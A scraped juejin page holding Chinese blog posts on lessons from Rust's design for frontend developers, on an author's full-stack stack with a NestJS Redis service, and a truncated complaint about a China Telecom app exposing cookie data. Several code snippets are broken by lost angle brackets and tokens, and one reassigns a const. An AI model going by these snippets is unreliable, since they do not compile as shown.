    • 缓冲区溢出(Buffer Overflows): 向缓冲区写入超出其容量的数据,可能覆盖相邻的内存区域,导致程序崩溃或安全漏洞。
  • 并发安全问题: C/C++ 的并发编程容易引入数据竞争(Data Races)等问题,导致程序行为不确定,难以调试和维护。
  • 缺乏现代化的语言特性: C/C++ 的语法相对陈旧,缺乏一些现代化的语言特性,如模式匹配、类型推断等,使得代码编写和维护相对繁琐。

Rust 的创建正是为了解决 C/C++ 等语言的这些不足,同时保留其高性能的优点。具体来说,Rust 的设计目标是:

  • 解决内存安全问题: Rust 通过所有权系统、借用检查器等机制,在编译时就杜绝了空指针、野指针、数据竞争等内存安全问题。
  • 提供安全的并发编程: Rust 的所有权系统和类型系统也对并发安全提供了保障,使得开发者可以更容易地编写安全的并发程序。
  • 提供现代化的语言特性: Rust 引入了模式匹配、类型推断、trait 等现代化的语言特性,提高了代码的简洁性、可读性和可维护性。
  • 保持高性能: Rust 的设计理念是“零成本抽象”,即提供高级的抽象能力,但不会带来额外的运行时开销,且无需垃圾回收器等运行时机制,从而避免了额外的性能开销,媲美 C/C++。

简而言之,因为还缺一门无 GC 且无需手动内存管理、性能高、工程性强、语言级安全性、广泛适用性的语言,而 Rust 就是这样的语言。

为什么选择Rust语言?

  • 保证安全、内存占用小的同时能提供和C/C++ 一样的性能
  • 广泛的适用性,系统编程、网络服务、命令行工具、WebAssembly等场景都能应用
  • 生态渐渐完善,有大量的库和框架,完整的工程化开发工具链,强大的包管理
  • 社区非常活跃和友好,文档全面

Rust不是闭门造车的语言,能看出来设计者是做过大量不同语言的项目的人,Rust从解决实际问题出发,借鉴和融合其他语言的优点,又能够创新地提出所有权和生命周期,这个强大的能力带来了0开销的内存安全和线程安全。

凡事有利必有弊,Rust是站在前人的肩膀上,它集百家之长,借鉴了其他语言的许多优秀特性,如npm的包管理、go的channel来进行并发通信、Haskell的trait(类似java的接口),还有元组、泛型、枚举,闭包、智能指针这些特性并非rust原创,但Rust确实把这些优点全部吸收了进来,而没有做过度的设计和发散,让有一些其他语言基础的人还能够减轻一些上手成本。

即使这样,Rust依然是在一众语言里学习曲线最陡峭的语言之一,此外,Rust为了提高运行时性能必然是会牺牲一些编译时的效率的。

但是,这丝毫不会影响Rust成为一门伟大的语言,如果有一门语言可以改变你的编程思维方式,倒逼你进行更好的代码设计,让你在初学过程中连连发出“原来是这样啊”的感叹,那么它一定是Rust。

Rust 核心设计理念对前端有哪些启示

Rust的很多设计理念都可以在前端领域中或多或少地找到影子,让你明白前端某些技术为什么要这么设计,以及为什么不那么设计。

安全性设计

1. 类型安全

  • 静态类型检查:

    Rust 提供了一个非常强大的类型系统,确保了类型安全。在编译时,Rust 会强制要求所有变量和函数都有明确的类型声明。这使得很多潜在的错误能够在编译时被捕获,避免了运行时出现类型错误。

    反观JavaScript,作为js开发者,那是太有发言权了,由于js是动态类型语言,所以很多错误只能在运行时被发现,跑着跑着可能就出一个线上bug,这是多少前端开发者的痛啊。

    当在写了一段时间Rust后,我们就会明白TypeScript为什么会火了,以及TS为什么是必要的,TS不能解决所有问题,但能解决大部分低级问题。

    如果你不用TS,提高代码健壮性也是有方法的,只不过心智负担更重。参照文章接口一异常你的页面就直接崩溃了?

  • 不可变性和可变性:

    在 Rust 中,变量默认是不可变的,只有显式声明为可变 (mut) 才能修改。这种设计减少了错误发生的概率,因为不可变数据是线程安全的,不会在多个地方被修改。

    在JS中也有类似的设计,联想到ES6的const和let,const 只能保证变量引用不可变,但如果引用的是对象或数组,内容依然可以改变。可谓是相当鸡肋。

2. 内存安全

Rust 提供了一种独特的所有权系统来自动管理内存,避免了许多传统语言中常见的内存错误,如内存泄漏、悬垂指针和双重释放。

Rust 的内存安全设计包括以下几个方面:

  • 所有权系统:Rust 中的所有权系统确保每个资源只有一个所有者,而所有权可以转移。一旦所有权转移,原所有者无法再访问或修改该资源,资源离开作用域时会自动释放,这就避免了双重释放和内存泄漏的问题。
  • 借用检查器:Rust 的借用检查器确保在同一时间只能存在不可变借用或一个可变借用。这避免了并发情况下的内存冲突。
  • 生命周期:Rust 的生命周期系统确保引用的有效性,在编译时检查引用的生命周期与持有它的资源的生命周期是否匹配,从而防止悬空引用和野指针。

反观JavaScript 中的内存问题:

  • 内存泄漏(Memory Leak): 内存泄漏是指程序无法释放不再使用的内存,导致内存资源被浪费。在 JavaScript 中,由于垃圾回收机制,内存泄漏通常发生在以下几种情况:

    • 全局变量:

      全局变量是在全局作用域中声明的,它们在程序执行期间存在,直到程序结束时才会被销毁。因此,无论这些全局变量是否仍在使用,它们都将保持存在,无法被垃圾回收器回收。

        // 全局变量
      var globalVar = { name: 'example' };

      // 该对象即使没有被引用,仍然会存在,直到页面关闭

      在浏览器中,全局变量被视为 window 对象的属性,在 Node.js 中,则是 global 对象。

      垃圾回收器一般不会回收全局变量,原因之一是全局变量的清理通常意味着整个应用程序的关闭或重载。如果要强制回收全局变量,会导致额外的复杂性和性能开销。因此,大多数 JavaScript 引擎(如 V8)选择让全局变量一直存活。

      全局变量不仅会导致内存泄漏还有容易被意外覆盖的风险,尽量使用模块化、闭包等方式来避免将变量暴露到全局作用域中。

      同理,全局变量也会导致无法准确的进行treeshaking优化,因为全局变量是有副作用的。

    • 闭包(Closures)

      闭包可能会保持对外部函数作用域变量的引用,从而防止这些变量被回收。

      function createClosure() {
      let largeObject = new Array(1000000).fill('Memory leak');

      // 返回一个函数,访问 largeObject
      return function() {
      console.log(largeObject[0]);
      };
      }

      const closure = createClosure();

      // 使用完闭包后,显式清除引用
      closure = null; // 删除对闭包的引用,垃圾回收器可以回收 largeObject

      largeObject 是一个占用大量内存的对象。当我们调用 createClosure 时,它返回一个内部函数 closure,这个内部函数会引用 largeObject。尽管 largeObject 的生命周期在 createClosure 执行完之后结束,但由于 closure 仍然持有对 largeObject 的引用,这个对象就无法被垃圾回收器回收,从而导致内存泄漏。

      闭包本身不会引起内存泄漏,但如果闭包捕获了外部函数的引用,且这些引用长时间未清除,就可能导致内存泄漏。

  • 事件监听器

    如果没有正确移除事件监听器,可能导致无法释放关联的内存。

    如果我们为 DOM 元素注册了事件监听器,但没有在适当的时候移除它们,尤其是在元素被删除或不再需要时,事件监听器会一直保持对 DOM 元素的引用,从而防止垃圾回收。

    "my-element">Click me!


    <script>
    let element = document.getElementById('my-element');

    // 给 DOM 元素添加事件监听器
    function handleClick() {
    console.log('Element clicked');
    }

    element.
    addEventListener('click', handleClick);

    // 假设我们从 DOM 中移除了该元素
    document.body.removeChild(element);

    // 但是我们没有移除事件监听器,事件监听器仍然持有对该元素的引用
    // 因此该元素无法被垃圾回收
    script>

    需要手动清除事件监听器

    element.removeEventListener('click', handleClick);  // 移除事件监听器
    element = null; // 清除对 DOM 元素的引用
  • DOM 元素引用

    如果 DOM 元素的引用在不再需要时没有清除,垃圾回收机制也无法回收它们。

    当我们通过 DOM 操作获取并引用一个 DOM 元素时,如果该元素的引用没有及时清除,即使该元素已经被移除或不再需要,它也不会被垃圾回收,从而导致内存泄漏。

    "my-element">Hello, World!


    <script>
    // 获取 DOM 元素并保存引用
    let element = document.getElementById('my-element');

    // 动态移除该元素
    document.body.removeChild(element);

    // 但是我们没有清除 element 引用
    // 这个引用仍然指向已经从 DOM 树中移除的元素
    // 此时垃圾回收器无法回收这个元素,因为引用仍然存在
    script>

    可以使用 element = null 来清除引用,但这个操作需要手动执行,容易忘记。

v8的垃圾回收器

V8 中的GC采用标记清除法进行垃圾回收。主要流程如下:

  • 标记:从根对象开始,遍历所有的对象引用,被引用的对象标记为活动对象,没有被引用的对象(待清理)标记为垃圾数据。
  • 垃圾清理:将所有垃圾数据清理掉

在我们的开发过程中,如果我们想要让垃圾回收器回收某一对象,就将对象的引用直接设置为 null

let a = {}; // {} 可访问,a 是其引用

a = null; // 引用设置为 null
// {} 将会被从内存里清理出去

但如果一个对象被多次引用时,例如作为另一对象的键、值或子元素时,将该对象引用设置为 null 时,该对象是不会被回收的

let a = {};
let arr = [a];

a = null;
console.log(arr)
// [{}]

因为a被arr引用,即使a不被使用了,也不会被释放,除非arr也被设置为null。

JS也考虑到了这一点,在ES6中推出了: WeakMap和WeakSet 。它对于值的引用都是不计入垃圾回收机制的,所以名字里面才会有一个"Weak",表示这是弱引用(对对象的弱引用是指当该对象应该被GC回收时不会阻止GC的回收行为)。

let a = {};
let arr = new WeakSet();
arr.add(a);

a = null;
console.log(arr.has(a))
// false

即 arr 对a的引用是弱引用,如果a不用了,不会阻止垃圾回收。

以上代码可以在控制台自行尝试一下

即便JS给出了可以避免特定场景的内存泄漏的方案,但依然无法避免所有场景的内存泄漏,而且就算你熟谙内存泄漏的各种场景以及对应解决方案,百密也终有一疏,更何况实际开发中代码能跑起来我们就几乎不会考虑啥内存问题,而Rust则强制你一定要考虑内存安全,否则编译都不过。

3. 并发安全

Rust 的并发模型通过其所有权和借用规则确保了并发编程中的安全性。Rust 中的并发安全设计包括:

  • 数据竞争防止:Rust 中,数据竞争在编译时就能被发现。Rust 通过所有权规则确保要么有多个不可变借用,要么有一个可变借用,从而避免了并发时对共享数据的非法访问。
  • 线程安全:Rust 使用 Send 和 Sync 特性来标识哪些类型可以在线程之间传递或共享。Send 允许数据在不同线程之间传递,Sync 允许多个线程共享数据。
  • 锁机制:Rust 提供了 Mutex 和 RwLock 等机制来确保在多线程环境下对共享资源的安全访问。

JS是单线程,但是JS的单线程是基于事件循环的非阻塞的,所以可以通过异步来实现伪并发,竞态条件、数据竞争、数据共享等问题在JS中是很难发现的,甚至别人的代码修改了你的数据你都不知道,没有一定的开发经验积累,去排查由此产生地莫名其妙的bug是相当折磨人的。

当学习了Rust之后,你就会下意识地去考虑你所定义的数据的安全性,有没有不确定的执行顺序引发的问题?有没有可能被非预期的共享和修改?我改了这个对象会不会影响到其他部分的功能表现等等?从而去想办法将可能会发生的问题扼杀在摇篮里。例如在处理组件状态时,采用不可变数据结构和函数式编程模式可以减少出错的机会。实际上对于前端开发者来说,这类bug是相当常见的。

JS其实也是在不断努力解决其本身存在的各种问题的,例如不断升级的ES新特性,使用 use stric 开启严格模式,还有函数式编程范式的流行,以及各类框架都支持的状态管理等等,这些措施都是为了让JS代码能够更加健壮,弥补JS本身的一些不足。

不可变数据结构: 在React中,使用useState和useReducer来管理状态,避免直接修改状态对象。以及redux等状态管理库,还有像Immer这样的库来简化不可变数据的操作。 函数式编程: 在JavaScript中,封装有明确输入和输出的函数,或使用高阶函数(如map、filter、reduce)来处理数据,避免修改原始数据,从而保持代码的清晰性和可测试性。

无论是函数式编程,还是状态管理,都是为了减少每个动作的副作用,有明确的数据流,让代码更安全更加可维护,低耦合高内聚不是一句空话,是业界大佬们真正在不断去实践的。只是我们自己没有感知,而实际上JS这门语言自身的缺陷真的很多,用JS去开发很容易,但是用JS去开发出健壮又高性能的代码是很难的,这可能也是为什么前端框架和库百花齐放而又前仆后继的原因。

4. 错误处理

Rust没有传统意义上的异常机制。在许多编程语言中,错误通常会通过运行时抛出异常来传递,而Rust采用了一种完全不同的方式来处理错误。

Rust通过Result类型和Option类型来明确地处理错误和空值,Rust的错误处理是编译时检查的,必须显式处理Result或Option,如果忽略了错误处理,编译器会报错,确保错误处理不被遗漏。这种做法可以避免程序出现未处理的异常,增强程序的健壮性。

Result 类型:Rust使用Result类型来显式表示一个函数可能返回的两种状态:成功(Ok(T))或失败(Err(E))。这种方式要求函数调用者在编译时就明确考虑到错误的处理,而不是依赖于运行时的异常机制。

Result是一个枚举类型,定义如下:

enum Result {
Ok(T),
Err(E),
}

Option 类型:在处理可能的空值时,Rust使用Option类型,它表示一个值可能存在(Some(T))或不存在(),避免了空指针异常的问题。

enum Option {
Some(T),
,
}

在前端开发中,JavaScript和TypeScript也可以借鉴Rust的错误处理机制,明确地处理每一种错误情况,尤其是空值问题,没有一个前端开发能躲过 undefined 的摧残。

高性能设计

1. 零成本抽象

零成本抽象是指使用高级编程语言的抽象(如函数式编程的高阶函数、泛型、闭包等)时,不会引入额外的性能开销或运行时成本。换句话说,编写高抽象层的代码并不会影响程序的性能,编译器能够将抽象代码转化为与低级代码相同的高效机器码。

在 Rust 中,“零成本抽象”特别重要,因为 Rust 旨在提供与 C 和 C++ 等低级语言相似的性能,同时保持高层次的代码抽象和安全性。通过静态分析和优化,Rust 能够在编译时消除大多数抽象层的开销。

零成本抽象的三个原则:

  • 没有全局成本(No global cost): 一个零成本抽象不应该对不使用该功能的程序的性能产生负面影响。

    换句话说,零成本抽象应该只在使用时产生影响,在未使用时不会引入任何额外的开销。

  • 最佳性能(Optimal performance): 一个零成本的抽象应该编译成相当于底层指令编写的最佳实现。意味着它在使用时会以尽可能接近底层代码的方式运行,即它的性能应当与手写的低级实现相当。

    可以理解为,如果你想要用rust抽象某个高级能力,那么抽象完成的性能不能比用更原始写法实现的性能差,如果你想要抽象前端框架,那么就不能比直接操作DOM的JS原生写法性能差。

  • 改善开发者体验(Improves developer experience): 抽象的意义在于提供新的工具,由底层组件组装而成,让开发者更容易写出他们想要的代码,提高开发效率和代码可读性。

举几个例子

  1. Rust 的所有权系统(ownership system)和生命周期(lifetimes)。

当你写一个简单的程序,没有使用所有权系统的特性时,编译器会对这些特性进行优化,使得它们对程序的性能没有任何影响。只有当你使用这些特性时,编译器才会引入相关的检查和优化。

  1. 迭代器(Iterators) Rust 的迭代器是一种高效的抽象
fn main() {
let numbers = vec![1, 2, 3, 4, 5];
let sum: i32 = numbers.iter().map(|x| x * 2).sum();
println!("Sum: {}", sum);
}

在这个例子中,iter 返回一个迭代器,map 是一个高阶函数,它将一个闭包应用到每个元素。尽管你使用了高阶函数和迭代器,Rust 会在编译时优化这段代码,确保它与手写的 for 循环代码在性能上等效。

Rust 的迭代器通过惰性求值来避免不必要的中间计算。当你调用 .map() 和 .sum() 时,Rust 会合并这些操作为一个高效的迭代过程,不会在内存中创建不必要的临时集合,最终生成与手动实现同样高效的机器码。

而在JS中,几种高阶函数的使用则是有成本的,如map、foreach 等,在进行一些极端的数据量测试时,性能差异相比 for 循环就比较明显了,但是js引擎实际上也是做了很多的优化的,这点不用太过于担心,放心用就好了。

  1. 泛型(Generics) Rust 中的泛型是一个典型的零成本抽象。

使用泛型时,Rust 在编译时会根据类型替换(monomorphization单态化)生成具体的代码,在运行时没有任何额外的开销。

fn add(a: T, b: T) -> T
where
T: std::ops::Add,
{
a + b
}

在这个例子中,add 函数是一个泛型函数。Rust 编译器在编译时会为每种特定类型(例如 i32、f64 等)生成专门的机器码。

如果你调用 add(1, 2),Rust 会为 i32 类型生成专门的代码。同样,如果你调用 add(1.5, 2.5),Rust 会为 f64 类型生成专门的代码。泛型不会引入运行时的性能损失。编译后的代码与手写的具体类型版本在性能上是等价的。

  1. 错误处理

包括Rust的错误处理,由于Rust不使用异常机制,程序的控制流更加清晰,避免了异常捕获时的运行时性能开销。

对前端的启示

  • 抽象高级能力提升开发效率和体验: 前端框架(如 React 和 Vue)、TypeScript等都是属于抽象的高级能力。例如,React 的优化算法通过虚拟 DOM 的比对、最小化 DOM 更新,已实现类似的零成本抽象。除此之外还有很多事可以做。
  • 优化代码:减少抽象代码中不必要的计算,必要时惰性引入(前端叫懒加载)或计算,减少对不相关部分的隐形影响(前端叫副作用),利用好模块化开发和treeshaking等。
  • WebAssembly (Wasm): Rust 本身可以编译为 WebAssembly,这为前端性能优化开辟了新天地。借鉴 Rust 的这一特点,前端可以通过将性能瓶颈部分的代码(如图像处理、数据加密等)使用 Rust 编写并编译为 WebAssembly 运行,从而提升性能。

总结

社区很多人并不看好Rust甚至很激进地开喷,人确实是会有自己的舒适区的,当用熟了一样语言后,便不那么容易接受某一个自己不熟悉的语言更好,但是,尝试走出舒适区,真正地去接触Rust,一定会也能够感受到Rust的设计光辉。

要学习Rust,你需要先深入理解内存、堆栈、引用、变量作用域等这些其它高级语言往往不会深入接触的内容,Rust 会通过语法、编译器和 clippy 这些静态检查工具半帮助半强迫的让你成为更优秀的程序员,写出更好的代码。

Rust 程序只要能跑起来,那代码质量其实就是相当不错的,甚至不需要调试,能编译基本就没bug(当然是避免不了逻辑bug的)。正因为较高的质量下限,我们维护别人的代码时心智负担也比较小,能编译通过基本能保证不新增bug,把精力完全放在业务逻辑上就可以了。

而如果用javascript写程序,我们必须一边写一边调试,虽然写出能跑的程序极为简单,但要想没有bug,心智负担极高,js的程序员上限不封顶,但下限极低。而且review代码成本也很高,1000个人有1000种写法,review完改一改可能又不小心改出bug了。

JS对开发者要求较低,也是时代变了,条件好了,搁以前几百兆内存、单核cpu的时候,那时候的JS开发该有多痛苦啊。

社区流传着一个很奇怪的论调,“通过学习Rust,你能写出更好的xx语言的代码”。

学习Rust后,会潜移默化地影响你写其他语言代码时的思维方式,最直观的变化就是,对javascript中各类容易造成不安全不稳定的情况会更加敏感,所以,某种程度来看,Rust的价值可能并不在于用它写出多么优秀的代码,更重要的是它带给你的全面的方法论层面的提升。

我使用Rust做了比较丰富的尝试,包括用Rust写命令行工具、用Rust写 postcss 插件、用Rust写vite 插件、用Rust写WebAssembly在前端页面中使用,整体体验和效果还是非常棒的,WebAssembly的尝试可以查看文章Rust + wasm-pack + WebAssembly 实现Gitlab 代码统计,比JS快太多了,其他实践后面会陆续和大家分享,感兴趣的小伙伴可以关注收藏插个眼~

附:

Rust在前端领域的应用

  • SWC: 基于 Rust 的前端构建工具,可以理解为 Rust 版本的 Babel,但是性能有 10 倍提升。目前被 Next.js、Deno , Rspack等使用。
  • Tauri:Tauri 是目前最流行的 Electron 替代方案,通过使用 Rust 和 Webview2 成功解决了 Electron 的包体积大和内存占用高的问题。Atom 团队也是看到了 Tauri 的成功,才决定基于 Rust 去做 Zed 编辑器。
  • Parcel2:零配置构建工具,特点是快速编译和不需要配置,和 Vite、Webpack等打包比起来更加简单,而且是基于 Rust 开发
  • Biome: 旨在取代许多现有的 JavaScript 工具,集代码检测、打包、编译、测试等功能于一身。
  • Rspack: 基于 Rust 的高性能 Web 构建工具, 对标 Webpack, 兼容大部分Webpack api
  • Rocket: 可以帮助开发人员轻松编写安全的Web应用程序, 对标 Expressjs,性能卓越,具体参考 Web Frameworks Benchmark
  • Yew : 使用 Rust 开发 h5 页面,支持类 jsx 的语法,和 React 类似开发前端网页,打包产物是 wasm,挺有趣。
  • Napi-rs: 用 Rust 和 N-API 开发高性能 Node.js 扩展,可以替代之前用 C++ 开发的 Node.js 扩展,许多基于 Rust 语言开发的前端应用都结合这个库进行使用。
  • Rolldown: 基于 Rust 的 Rollup 的替代品。
  • 美国国防部准备征求一个把所有C代码翻译成Rust的软件。

作者:Pursue_LLL
来源:juejin.cn/post/7450021642377199643

收起阅读 »

从前端的角度出发,目前最具性价比的全栈路线是啥❓❓❓

web
今年大部分时间都是在编码上和写文章上,但是也不知道自己都学到了啥,那就写篇文章来盘点一下目前的技术栈吧,也作为下一年的参考目标,方便知道每一年都学了些啥。 我的技术栈 首先我先来对整体的技术做一个简单的介绍吧,然后后面再对当前的一些技术进行细分吧。 Reac...
继续阅读 »

今年大部分时间都是在编码上和写文章上,但是也不知道自己都学到了啥,那就写篇文章来盘点一下目前的技术栈吧,也作为下一年的参考目标,方便知道每一年都学了些啥。


20241223154451


我的技术栈


首先我先来对整体的技术做一个简单的介绍吧,然后后面再对当前的一些技术进行细分吧。


React、Typescript、React Native、mysql、prisma、NestJs、Redis、前端工程化。


React


React 这个框架我花的时间应该是比较多的了,在校期间已经读了一遍源码了,对这些原理已经基本了解了。在随着技术的继续深入,今年毕业后又重新开始阅读了一遍源码,对之前的认知有了更深一步的了解。


也写了比较多跟 React 相关的文章,包括设计模式,原理,配套生态的使用等等都有一些涉及。


在状态管理方面,redux,zustand 我都用过,尤其在 Zustand 的使用上,我特别喜欢 Zustand,它使得我能够快速实现全局状态管理,同时避免了传统 Redux 中繁琐的样板代码,且性能更优。也对 Zustand 有比较深入的了解,也对其源码有过研究。


NextJs


Next.js 是一个基于 React 的现代 Web 开发框架,它为开发者提供了一系列强大的功能和工具,旨在优化应用的性能、提高开发效率,并简化部署流程。Next.js 支持多种渲染模式,包括服务器端渲染(SSR)、静态生成(SSG)和增量静态生成(ISR),使得开发者可以根据不同的需求选择合适的渲染方式,从而在提升页面加载速度的同时优化 SEO。


在路由管理方面,Next.js 采用了基于文件系统的路由机制,这意味着开发者只需通过创建文件和文件夹来自动生成页面路由,无需手动配置。这种约定优于配置的方式让路由管理变得直观且高效。此外,Next.js 提供了动态路由支持,使得开发者可以轻松实现复杂的 URL 结构和参数化路径。


Next.js 还内置了 API 路由,允许开发者在同一个项目中编写后端 API,而无需独立配置服务器。通过这种方式,前后端开发可以在同一个代码库中协作,大大简化了全栈开发流程。同时,Next.js 对 TypeScript 提供了原生支持,帮助开发者提高代码的可维护性和可靠性。


Typescript


今年所有的项目都是在用 ts 写了,真的要频繁修改的项目就知道用 ts 好处了,有时候用 js 写的函数修改了都不知道怎么回事,而用了 ts 之后,哪里引用到的都报红了,修改真的非常方便。


今年花了一点时间深入学习了一下 Ts 类型,对一些高级类型以及其实现原理也基本知道了,明年还是多花点时间在类型体操上,除了算法之外,感觉类型体操也可以算得上是前端程序员的内功心法了。


React Native



不得不说,React Native 不愧是接活神器啊,刚学完之后就来了个安卓和 ios 的私活,虽然没有谈成。



React Native 和 Expo 是构建跨平台移动应用的两大热门工具,它们都基于 React,但在功能、开发体验和配置方式上存在一些差异。React Native 是一个开放源代码的框架,允许开发者使用 JavaScript 和 React 来构建 iOS 和 Android 原生应用。Expo 则是一个构建在 React Native 之上的开发平台,它提供了一套工具和服务,旨在简化 React Native 开发过程。


React Native 的核心优势在于其高效的跨平台开发能力。通过使用 React 语法和组件,开发者能够一次编写应用的 UI 和逻辑,然后部署到 iOS 和 Android 平台。React Native 提供了对原生模块的访问,使开发者能够使用原生 API 来扩展应用的功能,确保性能和用户体验能够接近原生应用。


Expo 在此基础上进一步简化了开发流程。作为一个开发工具,Expo 提供了许多内置的 API 和组件,使得开发者无需在项目中进行繁琐的原生模块配置,就能够快速实现设备的硬件访问功能(如摄像头、位置、推送通知等)。Expo 还内置了一个开发客户端,使得开发者可以实时预览应用,无需每次都进行完整的构建和部署。


另外,Expo 提供了一个完全托管的构建服务,开发者只需将应用推送到 Expo 服务器,Expo 就会自动处理 iOS 和 Android 应用的构建和发布。这大大简化了应用的构建和发布流程,尤其适合不想处理复杂原生配置的开发者。


然而,React Native 和 Expo 也有各自的局限性。React Native 提供更大的灵活性和自由度,开发者可以更自由地集成原生代码或使用第三方原生库,但这也意味着需要更多的配置和维护。Expo 则封装了很多功能,简化了开发,但在需要使用某些特定原生功能时,开发者可能需要“弹出”Expo 的托管环境,进行额外的原生开发。


样式方案的话我使用的是 twrnc,大部分组件都是手撸,因为有 cursor 和 chatgpt 的加持,开发效果还是杠杠的。


rn 原理也争取明年能多花点时间去研究研究,不然对着盲盒开发还是不好玩。


Nestjs


NestJs 的话没啥好说的,之前也都写过很多篇文章了,感兴趣的可以直接观看:



对 Nodejs 的底层也有了比较深的理解了:



Prisma & mysql


Prisma 是一个现代化的 ORM(对象关系映射)工具,旨在简化数据库操作并提高开发效率。它支持 MySQL 等关系型数据库,并为 Node.js 提供了类型安全的数据库客户端。在 NestJS 中使用 Prisma,可以让开发者轻松定义数据库模型,并通过自动生成的 Prisma Client 执行类型安全的查询操作。与 MySQL 配合时,Prisma 提供了一种简单、直观的方式来操作数据库,而无需手动编写复杂的 SQL 查询。


Prisma 的核心优势在于其强大的类型安全功能,所有的数据库操作都能通过 Prisma Client 提供的自动生成的类型来进行,这大大减少了代码中的错误,提升了开发的效率。它还包含数据库迁移工具 Prisma Migrate,能够帮助开发者方便地管理数据库结构的变化。此外,Prisma Client 的查询 API 具有很好的性能,能够高效地执行复杂的数据库查询,支持包括关系查询、聚合查询等高级功能。


与传统的 ORM 相比,Prisma 使得数据库交互更加简洁且高效,减少了配置和手动操作的复杂性,特别适合在 NestJS 项目中使用,能够与 NestJS 提供的依赖注入和模块化架构很好地结合,提升整体开发体验。


Redis


Redis 和 mysql 都仅仅是会用的阶段,目前都是直接在 NestJs 项目中使用,都是已经封装好了的,直接传参调用就好了:


import { Injectable, Inject, OnModuleDestroy, Logger } from "@nestjs/common";
import Redis, { ClientContext, Result } from "ioredis";

import { ObjectType } from "../types";

import { isObject } from "@/utils";

@Injectable()
export class RedisService implements OnModuleDestroy {
private readonly logger = new Logger(RedisService.name);

constructor(@Inject("REDIS_CLIENT") private readonly redisClient: Redis) {}

onModuleDestroy(): void {
this.redisClient.disconnect();
}

/**
*
@Description: 设置值到redis中
*
@param {string} key
*
@param {any} value
*
@return {*}
*/

public async set(
key: string,
value: unknown,
second?: number
): Promise<Result<"OK", ClientContext> | null> {
try {
const formattedValue = isObject(value)
? JSON.stringify(value)
: String(value);

if (!second) {
return await this.redisClient.set(key, formattedValue);
} else {
return await this.redisClient.set(key, formattedValue, "EX", second);
}
} catch (error) {
this.logger.error(`Error setting key ${key} in Redis`, error);

return null;
}
}

/**
*
@Description: 获取redis缓存中的值
*
@param key {String}
*/

public async get(key: string): Promise<string | null> {
try {
const data = await this.redisClient.get(key);

return data ? data : null;
} catch (error) {
this.logger.error(`Error getting key ${key} from Redis`, error);

return null;
}
}

/**
*
@Description: 设置自动 +1
*
@param {string} key
*
@return {*}
*/

public async incr(
key: string
): Promise<Result<number, ClientContext> | null> {
try {
return await this.redisClient.incr(key);
} catch (error) {
this.logger.error(`Error incrementing key ${key} in Redis`, error);

return null;
}
}

/**
*
@Description: 删除redis缓存数据
*
@param {string} key
*
@return {*}
*/

public async del(key: string): Promise<Result<number, ClientContext> | null> {
try {
return await this.redisClient.del(key);
} catch (error) {
this.logger.error(`Error deleting key ${key} from Redis`, error);

return null;
}
}

/**
*
@Description: 设置hash结构
*
@param {string} key
*
@param {ObjectType} field
*
@return {*}
*/

public async hset(
key: string,
field: ObjectType
): Promise<Result<number, ClientContext> | null> {
try {
return await this.redisClient.hset(key, field);
} catch (error) {
this.logger.error(`Error setting hash for key ${key} in Redis`, error);

return null;
}
}

/**
*
@Description: 获取单个hash值
*
@param {string} key
*
@param {string} field
*
@return {*}
*/

public async hget(key: string, field: string): Promise<string | null> {
try {
return await this.redisClient.hget(key, field);
} catch (error) {
this.logger.error(
`Error getting hash field ${field} from key ${key} in Redis`,
error
);

return null;
}
}

/**
*
@Description: 获取所有hash值
*
@param {string} key
*
@return {*}
*/

public async hgetall(key: string): Promise<Record<string, string> | null> {
try {
return await this.redisClient.hgetall(key);
} catch (error) {
this.logger.error(
`Error getting all hash fields from key ${key} in Redis`,
error
);

return null;
}
}

/**
*
@Description: 清空redis缓存
*
@return {*}
*/

public async flushall(): Promise<Result<"OK", ClientContext> | null> {
try {
return await this.redisClient.flushall();
} catch (error) {
this.logger.error("Error flushing all Redis data", error);

return null;
}
}

/**
*
@Description: 保存离线通知
*
@param {string} userId
*
@param {any} notification
*/

public async saveOfflineNotification(
userId: string,
notification: any
): Promise<void> {
try {
await this.redisClient.lpush(
`offline_notifications:${userId}`,
JSON.stringify(notification)
);
} catch (error) {
this.logger.error(
`Error saving offline notification for user ${userId}`,
error
);
}
}

/**
*
@Description: 获取离线通知
*
@param {string} userId
*
@return {*}
*/

public async getOfflineNotifications(userId: string): Promise<any[]> {
try {
const notifications = await this.redisClient.lrange(
`offline_notifications:${userId}`,
0,
-1
);
await this.redisClient.del(`offline_notifications:${userId}`);

return notifications.map((notification) => JSON.parse(notification));
} catch (error) {
this.logger.error(
`Error getting offline notifications for user ${userId}`,
error
);

return [];
}
}

/**
* 获取指定 key 的剩余生存时间
*
@param key Redis key
*
@returns 剩余生存时间(秒)
*/

public async getTTL(key: string): Promise<number> {
return await this.redisClient.ttl(key);
}
}

前端工程化


前端工程化这块花了很多信息在 eslint、prettier、husky、commitlint、github action 上,现在很多项目都是直接复制之前写好的过来就直接用。


后续应该是投入更多的时间在性能优化、埋点、自动化部署上了,如果有机会的也去研究一下 k8s 了。


全栈性价比最高的一套技术


最近刷到一个帖子,讲到了


20241223165138


我目前也算是一个小全栈了吧,我也来分享一下我的技术吧:



  1. NextJs

  2. React Native

  3. prisma

  4. NestJs

  5. taro (目前还不会,如果有需求就会去学)


剩下的描述也是和他下面那句话一样了(毕业后对技术态度的转变就是什么能让我投入最小,让我最快赚到钱的就是好技术)


总结


学无止境,任重道远。


作者:Moment
来源:juejin.cn/post/7451483063568154639
收起阅读 »

App出现技术问题,这样的中国电信让用户糟心了

web
前言 最近在中国电信app上销户一张中国电信山西区的电话卡,一打开销户界面我就惊了 点开一看,写入的本地变量、cookie一览无遗。 查看数据 存在采集用户手机型号、来源等数据行为产生的cookie 最引人注目的就是 zhizhendata2015jss...
继续阅读 »

前言


image.png


最近在中国电信app上销户一张中国电信山西区的电话卡,一打开销户界面我就惊了


image-20250105103537705


点开一看,写入的本地变量、cookie一览无遗。


image.png


查看数据


存在采集用户手机型号、来源等数据行为产生的cookie


最引人注目的就是


zhizhendata2015jssdkcross={
"distinct_id": "MTkxOTZhYzk3YTAyMDItMDgxMjMwYmRlOTFhOWU4LTQ3NzE2ZTBmLTM2NzkyOC0xOTE5NmFjOTdhMWE5NQ==",
"
first_id": "",
"
props": {
  "
$latest_traffic_source_type": "直接流量",
  "
$latest_search_keyword": "未取到值_直接打开",
  "
$latest_referrer": "",
  "
_latest_utm_scha": "utm_ch-010001002009.utm_sch-hg_sy_pdkp-2-125971000001-10519100001.utm_af-1000000037.utm_as-0043300037.utm_sd1-default",
  "
_latest_utm_sd1": "app-充流量-本地推荐",
  "
_latest_utm_sd2": "",
  "
_latest_shopid": "189.WAP.llrb-2079",
  "
_latest_utm_ch": "hg_app",
  "
_latest_utm_sch": "hg_sy_pdkp_kw02",
  "
_latest_utm_as": "hg_19y15GBwxllb"
